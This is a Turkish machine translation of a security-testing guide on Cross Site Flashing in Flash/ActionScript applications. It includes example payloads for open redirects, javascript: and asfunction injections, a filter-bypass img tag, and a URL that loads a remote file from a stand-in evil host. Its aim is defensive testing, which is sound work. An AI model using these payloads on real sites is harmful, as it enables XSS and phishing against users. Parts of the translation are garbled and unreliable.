Testing for Cross Site Flashing (Siteler Arası Yanıp Sönme Testi)

Summary (Özet)

ECMAScript'e dayanan ActionScript, interaktif ihtiyaçlarla uğraşırken Flash uygulamaları tarafından kullanılan dildir. ActionScript dilinin üç versiyonu vardır. ActionScript 1.0 ve ActionScript 2.0, ActionScript 2.0'ın ActionScript 1.0'ın bir uzantısı olarak çok benzer. Flash Player 9 ile tanıtılan ActionScript 3.0, nesne odaklı tasarımı desteklemek için dilin yeniden yazılmasıdır.

ActionScript, diğer tüm diller gibi, güvenlik sorunlarına yol açabilecek bazı uygulama kalıplarına sahiptir. Özellikle, Flash uygulamaları genellikle tarayıcılara gömüldüğünden, DOM tabanlı Cross
Site Scripting (DOM XSS) gibi güvenlik açıkları kusurlu Flash uygulamalarında mevcut olabilir.

Cross-Site Flashing (XSF), XSS'ye benzer bir etkiye sahip bir güvenlik açığıdır.

XSF, aşağıdaki senaryolar farklı alanlardan başlatıldığında ortaya çıkar:

- Bir film başka bir film yükler `loadMovie*` İşlevler (veya diğer hackler) ve aynı kum kutusuna veya bir kısmına erişebilir.
- Bir HTML sayfası, örneğin bir Adobe Flash filmine komuta etmek için JavaScript'i kullanır:
  - `GetVariable` Flash halka açık ve statik nesnelere bir ip olarak JavaScript'ten erişmek.
  - `SetVariable` JavaScript ile yeni bir dize değerine statik veya halka açık bir Flash nesne ayarlamak.
- Tarayıcı ve SWF uygulaması arasında beklenmedik iletişimler, SWF uygulamasından veri çalmaya neden olabilir.

XSF, kusurlu bir SWF'yi harici bir kötü Flash dosyasını yüklemeye zorlayarak gerçekleştirilebilir. Bu saldırı, bir kullanıcıyı sahte bir Flash formuna kimlik bilgilerini eklemek için kandırmak için XSS veya
GUI'nin değiştirilmesine neden olabilir. XSF, Flash HTML Enjeksiyonu veya harici SWF dosyalarının varlığında kullanılabilir
`loadMovie*` yöntemler kullanılır.

Open Redirectors (Açık Yöneticiler)

SWF'ler tarayıcıda gezinme yeteneğine sahiptir. SWF hedefini bir FlashVar olarak alırsa, SWF açık bir yeniden yönlendirme olarak kullanılabilir. Açık bir yönlendirme, güvenilir bir web sitesinde, bir
saldırganın son kullanıcıyı kötü amaçlı bir web sitesine yönlendirmek için kullanabileceği herhangi bir web sitesi işlevselliğidir. Bunlar genellikle kimlik avı saldırılarında kullanılır. Siteler arası komut
dosyasına benzer şekilde, saldırı kötü amaçlı bir bağlantıya tıklayan bir kullanıcı içerir.

Flash durumunda, kötü amaçlı URL şöyle görünebilir:

`http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html`

Yukarıdaki örnekte, bir son kullanıcı URL'nin en sevdikleri güvenilir web sitesiyle başladığını ve üzerine tıkladığını görebilir. Bağlantı, güvenilir SWF'yi yükleyecektir ve `getURLValue` ve bir ActionScript tarayıcı navigasyon çağrısına sağlar:

`getURL(_root.getURLValue,"_self");`

Bu, tarayıcıyı saldırgan tarafından sağlanan kötü amaçlı URL'ye yönlendirecektir. Bu noktada, phisher, kullanıcının kötü amaçlı web sitesini ziyaret etmesi için kandırmak için güvenilir.example.org'a olan güvenini başarıyla kullandı. Oradan, 0 günlük bir başlangıç yapabilir,
orijinal web sitesinin veya başka bir saldırı türünün sahteciliği yapabilirler. SWF'ler istemeden web sitesinde açık direktör olarak hareket ediyor olabilir.

Geliştiriciler, FlashVars olarak tam URL'leri almaktan kaçınmalıdır. Sadece kendi web sitelerinde gezinmeyi planlıyorlarsa, o zaman göreceli URL'leri kullanmalıdır veya URL'nin güvenilir bir etki alanı ve protokol ile başladığını doğrulamalıdır.

Attacks and Flash Player Version (Saldırılar ve Flaş Oynatın Versiyonu)

Mayıs 2007'den bu yana, Flash Player'ın üç yeni sürümü Adobe tarafından yayınlandı. Her yeni sürüm, daha önce açıklanan bazı saldırıları kısıtlıyor.

Oyuncu Versiyonu	asfunction	Dış arayüz	GetURL	HTML Enjeksiyon
v9.0 r47/48	Evet	Evet	Evet	Evet
v9.0 r115	Hayır	Evet	Evet	Evet
v9.0 r124	Hayır	Evet	Evet	Kısmen

Player Version	asfunction	ExternalInterface	GetURL	HTML Injection
v9.0 r47/48	Yes	Yes	Yes	Yes
v9.0 r115	No	Yes	Yes	Yes
v9.0 r124	No	Yes	Yes	Partially

Test Objectives (Test Hedefleri)

- Uygulamanın kodunu ayrıştırın ve analiz edin.
- Darbeleri ve güvensiz yöntem kullanımlarını değerlendirir.

How To Test (Nasıl Test Edilir)

Test Flash Uygulamalarının ilk yayınlanmasından bu yana, tanımlanacak bazı saldırıları hafifletmek için Flash Player'ın yeni sürümleri yayınlandı. Bununla birlikte, bazı sorunlar hala istismar edilebilir kalır, çünkü bunlar güvensiz programlama uygulamalarının sonucudur.

Decompilation (Dekompilasyon)

SWF dosyaları, oyuncunun kendisine gömülü bir sanal makine tarafından yorumlandığından, potansiyel olarak ayrıştırılabilir ve analiz edilebilir. En çok bilinen ve ücretsiz ActionScript 2.0 decompil işaret fişeğidir.

Bir SWF dosyasını işaret fişeği ile decomple decomple etmek için sadece tip:

```
$ flare hello.swf
```

Bu, hello.flr adlı yeni bir dosyayla sonuçlanır.

Dekomplama, test edenlere yardımcı olur, çünkü Flash uygulamalarının beyaz kutu testine izin verir. Hızlı bir web araması sizi çeşitli sökücülere ve flaş güvenlik

araçlarına yönlendirebilir.

Undefined Variables FlashVars (Tanımlanmamış Değişkenler FlashVars)

FlashVars, SWF geliştiricisinin web sayfasından almayı planladığı değişkenlerdir. FlashVarlar genellikle HTML içindeki Nesne veya Embed etiketinden geçirilir. Örneğin:

```
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
  <param name="movie" value="somefilename.swf">
  <param name="FlashVars" value="var1=val1&var2=val2">
  <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
```

FlashVars ayrıca URL'den de başlanabilir:

```
http://www.example.org/somefilename.swf?var1=val1&var2=val2
```

ActionScript 3.0'da, bir geliştirici açıkça FlashVar değerlerini yerel değişkenlere atamalıdır. Tipik olarak, bu şöyle görünüyor:

```
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);
```

ActionScript 2.0'da, başlatılmamış herhangi bir küresel değişkenin bir FlashVar olduğu varsayılmaktadır. Küresel değişkenler, tarafından hazırlanan değişkenlerdir. `_root` , `_global` ya da `_level0` . . Bu, bir özellik gibi bir özellik anlamına gelir. `_root.varname` Kod akışı boyunca tanımlanmamış, URL parametreleri tarafından üzerine yazılabilir:

```
http://victim/file.swf?varname=value
```

ActionScript 2.0 veya ActionScript 3.0'a bakıp bakmadığınıza bakılmaksızın, FlashVars saldırı vektörü olabilir. Savunmasız bazı ActionScript 2.0 kodlarına bakalım:

Örnek:

```
movieClip 328 __Packages.Locale {
```

```
#initclip
   if (!_global.Locale) {
   var v1 = function (on_load) {
      var v5 = new XML();
      var v6 = this;
      v5.onLoad = function (success) {
      if (success) {
         trace('Locale loaded xml');
         var v3 = this.xliff.file.body.$trans_unit;
         var v2 = 0;
         while (v2 < v3.length) {
         Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
         ++v2;
         }
         on_load();
      } else {}
      };
      if (_root.language != undefined) {
      Locale.DEFAULT_LANG = _root.language;
      }
      v5.load(Locale.DEFAULT_LANG + '/player_' +
                     Locale.DEFAULT_LANG + '.xml');
   };
```

Yukarıdaki kod isteyerek saldırıya uğrayabilir:

`http://victim/file.swf?language=http://evil.example.org/malicious.xml?`

Unsafe Methods (Güvenli Olmayan Yöntemler)

Bir giriş noktası tanımlandığında, temsil ettiği veriler güvensiz yöntemlerle kullanılabilir. Veriler filtrelenmemiş veya doğrulanmazsa, bazı güvenlik açıklarına yol açabilir.

sürüm r47'den bu yana güvenli olmayan yöntemler şunlardır:

- `loadVariables()`
- `loadMovie()`

- `getURL()`
- `loadMovie()`
- `loadMovieNum()`
- `FScrollPane.loadScrollContent()`
- `LoadVars.load`
- `LoadVars.send`
- `XML.load ( 'url' )`
- `LoadVars.load ( 'url' )`
- `Sound.loadSound( 'url' , isStreaming );`
- `NetStream.play( 'url' );`
- `flash.external.ExternalInterface.call(_root.callback)`
- `htmlText`

Exploitation by Reflected XSS (Yansıtılmış XSS tarafından sömürü)

Swift dosyası kurbanın sunucusunda barındırılmalı ve yansıyan XSS teknikleri kullanılmalıdır. Bir saldırgan, tarayıcıyı doğrudan konum çubuğuna (geri yönlendirme veya sosyal mühendislik yoluyla) veya bir kötü sayfadan bir iframe yoluyla yükleyerek bir saf swf dosyasını yüklemeye zorlar:

`<iframe src='http://victim/path/to/file.swf'></iframe>`

Bu durumda, tarayıcı bir HTML sayfasını kurban ev sahibi tarafından barındırılmış gibi kendiliğinden üretecektir.

GetURL (AS2) / NavigateToURL (AS3) (GetURL (AS2) / Navigate TOURL (AS3))

ActionScript 2.0 ve NavigateTURL in ActionScript 3.0'daki GetURL işlevi, filmin tarayıcının penceresine bir URI yüklemesini sağlar. Tanımlanmamış bir değişken getURL için ilk argüman olarak kullanılırsa:

`getURL(_root.URI,'_targetFrame');`

Ya da bir FlashVar, bir gezinme TOURL işlevine geçen parametre olarak kullanılırsa:

```
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
```

O zaman bu, filmin istenerek ev sahipliği yaptığı aynı alanda JavaScript'i aramanın mümkün olduğu anlamına gelecektir:

```
http://victim/file.swf?URI=javascript:evilcode
```

```
getURL('javascript:evilcode','_self');
```

Aynı şey sadece bir kısmı olduğunda da mümkündür. `getURL` Flash JavaScript enjeksiyonu ile DOM enjeksiyonu ile kontrol edilir:

```
getUrl('javascript:function('+_root.arg+')')
```

Using `asfunction` (Kullanmak `asfunction`)

Özel olanı kullanabilirsiniz `asfunction` Bir URL açmak yerine bir SWF dosyasında bir ActionScript işlevini yürütmek için bağlantının oluşmasına neden olan protokol. Flash Player 9 r48'i
yayınlayana kadar
`asfunction` Bir tartışma olarak URL'ye sahip olan her yöntemde kullanılabilir. Bu serbest bırakmadan sonra, `asfunction` HTML TextField içinde kullanımla sınırlıydı.

Bu, bir test cihazının enjekte etmeye çalışabileceği anlamına gelir:

```
asfunction:getURL,javascript:evilcode
```

Her güvensiz yöntemde, örneğin:

```
loadMovie(_root.URL)
```

İsteyerek:

```
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
```

ExternalInterface (Dış arayüz)

`ExternalInterface.call` Adobe tarafından hem ActionScript 2.0 hem de ActionScript 3.0 için oyuncu / tarayıcı etkileşimini geliştirmek için tanıtılan statik bir yöntemdir.

Güvenlik açısından, argümanının bir kısmı kontrol edilebildiğinde kötüye kullanılabilir:

```
flash.external.ExternalInterface.call(_root.callback);
```

Bu tür bir kusur için saldırı modeli aşağıdaki gibi bir şey olabilir:

```
eval(evilcode)
```

Tarayıcı tarafından yürütülen dahili JavaScript, aşağıdakilere benzer bir şey olacaktır:

```
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')
```

HTML Injection (HTML Enjeksiyon)

TextField Nesneleri ayarlayarak minimum HTML oluşturabilir:

```
tf.html = true
tf.htmlText = '<tag>text</tag>'
```

Yani metnin bir kısmı test cihazı tarafından kontrol edilebilirse, bir `<a>` Etiket veya bir görüntü etiketi enjekte edilebilir ve GUI'yi veya tarayıcıya bir XSS saldırısının değiştirilmesine neden olabilir.

Bazı saldırı örnekleri ile `<a>` Etiket:

- Doğrudan XSS: `<a href='javascript:alert(123)'>`
- Bir fonksiyonu çağırın: `<a href='asfunction:function,arg'>`
- SWF kamu fonksiyonlarını arayın: `<a href='asfunction:_root.obj.function, arg'>`
- Doğal statik fonksiyonu olarak adlandırın: `<a href='asfunction:System.Security.allowDomain,evilhost'>`

Bir resim etiketi de kullanılabilir:

```
<img src='http://evil/evil.swf'>
```

Bu örnekte, `.swf` Flash Player iç filtresini atlamak için gereklidir:

```
<img src='javascript:evilcode//.swf'>
```

Flash Player 9.0.124.0'ın piyasaya sürülmesinden bu yana, XSS artık sömürülebilir değil, ancak GUI değişikliği hala tamamlanabilir. SWF ile çalışmada aşağıdaki araçlar yardımcı olabilir:

- Adobe SWF Investigator
- OWASP SWFIntruder
- Decompiler – Flare
- Disassembler – Flasm
- Swfmill – Convert Swf to XML and vice versa